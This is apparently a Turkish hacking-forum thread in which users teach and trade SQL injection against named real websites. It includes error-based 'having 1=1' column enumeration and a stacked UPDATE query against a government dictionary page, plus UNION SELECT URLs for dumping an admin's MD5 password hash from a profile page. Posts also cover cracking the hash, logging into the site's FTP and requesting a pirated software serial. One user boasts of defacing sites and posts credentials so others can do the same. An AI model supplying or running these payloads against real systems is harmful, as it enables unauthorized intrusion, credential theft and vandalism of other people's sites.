sağol hoca hakkatten çalışoo...

bu dokumanı başka bir yerde grdüyseniz burdan çalmışlardır. daha simdi kendim yazdım. ftw

tdk deli etti beni ondan yazdım. bu arada yukarıdaki ornek çalışıyor. ama denemeyin tamam mı? :D ftw

abi saat 1.48 ha onuda hatırlatayım da :D Zimbabwe

:ibosoft bunu yazdı: hid=66%20union // bu 66%20 nedir0,0,0,0,0,0 ble şeyler ne anlama geliyo?hoja 0,0,0,0,0,0 bnm bildigm onlar column sayısı normalde tek sıfır koyarsın, bulamazsa buldurana kr eklemeye dewam edersin 0,0,0,0,0,0,0,0,0,0,0,00,0,0,0,0,0,0,0,0,0,0,0 gibirnegin: www.rapboy.com/profil. php/view&id=44=-1+union+select+0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0+from+users+where+id=44 bulana kdr sıfırları artırıcn.. profil kartından adminin şifresini mesela id=44 adminin id si dr. rnegin yani Sen şimdi cvp verdin yandın id=44=-1+union... bu dizilim yanlış gibi geldi ama -1 ne? dizi dizi incisin danalıkta birincisin

www.rapboy.com/profil. php/view. php?id=66%20union+select+0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0+from+users+where+id=44Diyelim bununla veriyi ekrana yazdırıyorum peki update ile yani bu ekrana yazdırmak için kullandığımız sql cümleciğiyle mevcut şifreyi yine bu şekilde update deyimini kullanarak uygulatabilirmiyiz evetse nasıl :) dizi dizi incisin danalıkta birincisin

hiim anladim demek istedigini ama le 1 yntemin uygulamasini bilmiorm su cute ftp crack baya lazimdi simdi pm atiorm : ) sql ile üye fln kayit ettirilor ama snn dedigin gibi yntemi bilmiorm.. belki bilen warsa yardimci olr..

yanlış anladın heralde hoja yani biraz saat 2de niye byle bişey yazdın onu merak ettim :D Zimbabwe

Güzel konu. zıplattım.

:hid=66%20union // bu 66%20 nedir0,0,0,0,0,0 ble şeyler ne anlama geliyo?hoja 0,0,0,0,0,0 bnm bildigm onlar column sayısı normalde tek sıfır koyarsın, bulamazsa buldurana kr eklemeye dewam edersin 0,0,0,0,0,0,0,0,0,0,0,00,0,0,0,0,0,0,0,0,0,0,0 gibirnegin: www.rapboy.com/profil. php/view&id=44=-1+union+select+0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0+from+users+where+id=44 bulana kdr sıfırları artırıcn.. profil kartından adminin şifresini mesela id=44 adminin id si dr. rnegin yani

PM at msn'den verim cuteFTp 7.1 + full crack ben kullanıyorumBenim niyetim ftp'ye değil sitedeki scripte admin olarak girebilmekUpdate olayıda şlewww.rapboy.com/profil. php/view. php?id=44%20union+select+0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0+from+users+where+id=44Bununla ekrana yazdırıyorum md5 hashı. Peki update uyeler set kadi='123456' where uyeid=44 bu zımbırtıyı yukardaki gibi uygulayıp md5'i kırmayla uğraşmadan bu şekilde bi değişiklik yapılabilirmi onu sordum gene anlatamadıysam msn'i pm at online 16 saat bye dizi dizi incisin danalıkta birincisin

eğitim amaçlıdır başkası bu hatayı yaptı siz yapmayın diye yazılmıştır. ncelikle sql injection yemesi muhtemel sayfalar asp php gibi kod kontrolunun ek işlemle yapılabildiği sayfalardır. genelde millet buna üşendiği için boyle açıklar bırakıyorlar. ncelikle bir sitede sql açığının olup olmadığını anlamak için boş alanlara tek tırnak girerek yada URL lerdeki id=212 gibi yerlere harf yada tek tırnak koyarak anlarız. bunun sonucunda hata alıyorsanız. o sitede boyle bir açık vardır. gelelim ornek uygulamamıza. http://www.tdk.org.tr/adsozlugu/ayrinti. asp?id=450%20having%201=1 adress bara kopyalıyoruz va url ye gidiyoruz. şu hatayı alıcaz. URL deki 450 rakamı uydurmadır siz sağlam bi tane sozcuk id si bulun. Hata Tipi:Microsoft OLE DB Provider for ODBC Drivers (0x80040E14) Column 'adlar. id' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause./adsozlugu/ayrinti. asp, line 54niye having 1=1 yazdık ona gelelim. having sozcuğu group by ile birlikte kullanılır. ve having de tanımlı oğe yok ise primary key olan alanı default alır. buda en azından tablo ismi ile primary key olan alanı hataya ekler. http://www.tdk.org.tr/adsozlugu/ayrinti. asp?id=450%20group%20by%20adlar. id%20having%201=1 şimdihaving 1=1 den once group by adlar. id yi ekledik yine having de tanımlı oğe yok şimdi bu seferde şu hatayı alıyoruz. Hata Tipi:Microsoft OLE DB Provider for ODBC Drivers (0x80040E14) Column 'adlar. adi' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause./adsozlugu/ayrinti. asp, line 54bu sefer ne oldu having de tanımlı oğe yok group by da primary key var. bu sefer ikinci sutunu ekledi yine devamediyoruz bunuda ekliyoruz url ye ve boyle devam ediyoruz. http://www.tdk.org.tr/adsozlugu/ayrinti. asp?id=450%20group%20by%20adlar. id%20, adlar. adi, adlar. kokeni, adlar. anlami, adlar. adi2, adlar. cinsiyet%20having%201=1sonunda hata vermeyene kadar devam ettik ve elimizde full tablo adları var artık. artık sql kodlarımızı sokabiliriz. simdi http://www.tdk.org.tr/adsozlugu/ayrinti. asp?id=450gidiyoruz ; koyduk tan sonra sql cümlemizi yazıyoruz. orenğin http://www.tdk.org.tr/adsozlugu/ayrinti. asp?id=450; update adlar set adlar. anlami='deneme' where adlar. id=450sql i salladım siz uygun olanını yaparsınız ftw

efet bende zıplattım, bi ton yerde aradım ama, hala sql injection yapamadım amk :|bi site buldum bari benim yerime siz yapın :Dturkkod. org/kod/www/program. asp?Gorev=Goster&Durum=Bolum&id=62%20having%201=1warez script, adminlerin bulunduğu tablo, editorler, sutunlar, KullaniciADI, Parola, Yetki bi kaç bişi daha var ama onlar biyografiye giriyo, alın heykleyin amk :D kelimeler albayım bazı anlamlara gelmiyor.

abi eline sağlık ta ama saate bak gidin yatın yaw. yada irc. tahribat.com 'a girin canımız sıkılıyo orda TBT'ye Mescit istiyoruz.

adlar. adi, adlar. soyadiadlar veri tabanındaki tablo ismiadi, soyadi vs noktadan sonra gelenlerde bu tablodaki sütunlar. Neyi neye gre ekliyonuz demişin ama anlamadım ne soruduğunu dizi dizi incisin danalıkta birincisin

başka konuları cortlatacağımıza byle sağlam konuları cortlatalım. Saolasın tagext

%20 boşluk manasına geliyor. union ise aynı sutun sayısını dndüren iki sql i bağlar. satır sayıları aynı olsun diye. 0,0... gibi fazladan sutun ekliyolar. union kullanmak için tablo yapısını bilmen lazım. rneğin o sql cümlesi username yi dondurmuyor ise. sen union ile sql i donduren bir cumle yazıyosun. diyelim o sayfa topicname değeri donduruyor sa sen username as topicname diyorsun var boylece ilk topicname alanının üzerine ikinici sql username adını yazıyor. sayfada da username i grüyorsun. ftw

: www.rapboy.com/profil. php/view. php?id=66%20union+select+0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0+from+users+where+id=44Diyelim bununla veriyi ekrana yazdırıyorum peki update ile yani bu ekrana yazdırmak için kullandığımız sql cümleciğiyle mevcut şifreyi yine bu şekilde update deyimini kullanarak uygulatabilirmiyiz evetse nasıl :) id=66 olmaz orasida 44 olucak r: www.rapboy.com/profil. php/view. php?id=44%20union+select+0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0+from+users+where+id=44 id=44 adminin id si bu yani adminin idsine uygulucaksn bnu eger dedigim gibi bn sna anlatiorm ama bnde uzman sayilmam : ) ilk bastan soledigim gibi yaparsn 0,0,0,0,0 leri werdirerek sql yedirerek adminin hash lenmis sifresini bulursn update ile neyi kastettigini anlamadim ama hash i kirdiktn sora md5 kirici bn foruma ble bi konu acmisdm biri link wermisti o pro gayet ii ama oraya kdr gelirsn pm at sna rus yazilim 1 md5 yollarim ama onada gerek yok yapman gereken bastan anlatmicam md5 i bul adminin sora cute ftp denilen pro ile ftp sine baglanabiltsn md5 i kirmanada gerek kalmayabilir cünkü bildigim md5 sifre ile de baglanio sn r: ftp://rapboy.com login:admin_rapboy,,, pass:123456 yada md5 seklinde:232kldklk2l2l3k bu sekil yazdiginda direk baglanr.. yada ilk nce bnce AntiSzel in foruma wermisti 'users' dan hack die onu kavra nce isin mantigina anlarsn heem... Not: Bu arada arkadaslar burdn sesimi duyan birileri su Cute Ftp 7.1 in serialini werebilrmi rica etsm...

walla heykledim :D hayatımdaki 2. heykim :D :D:D 1) Hacked by foxxly :) 09.12.2007 2) Hacked by foxxly :)bi garip oldum amk :D adamlar warez kullanıyo, db adını değiştirmiyo bu kadar olur :D alın sizde hekleyin lan :D k. adı hackedşifre heyklendiniz kelimeler albayım bazı anlamlara gelmiyor.

dava açmasınalar m. q :D tagext in 3 ay once uyarmasına rağmen hala bu acık var ve foruma 1 ay sonrasında yayınlandı yani 4aydır bu acık devam ediyor. kapatmadılar. illa gel hergün zik at diyorlar. ama nabalım yüce devletimizin sitesi :))

hid=66%20union // bu 66%20 nedir0,0,0,0,0,0 ble şeyler ne anlama geliyo? dizi dizi incisin danalıkta birincisin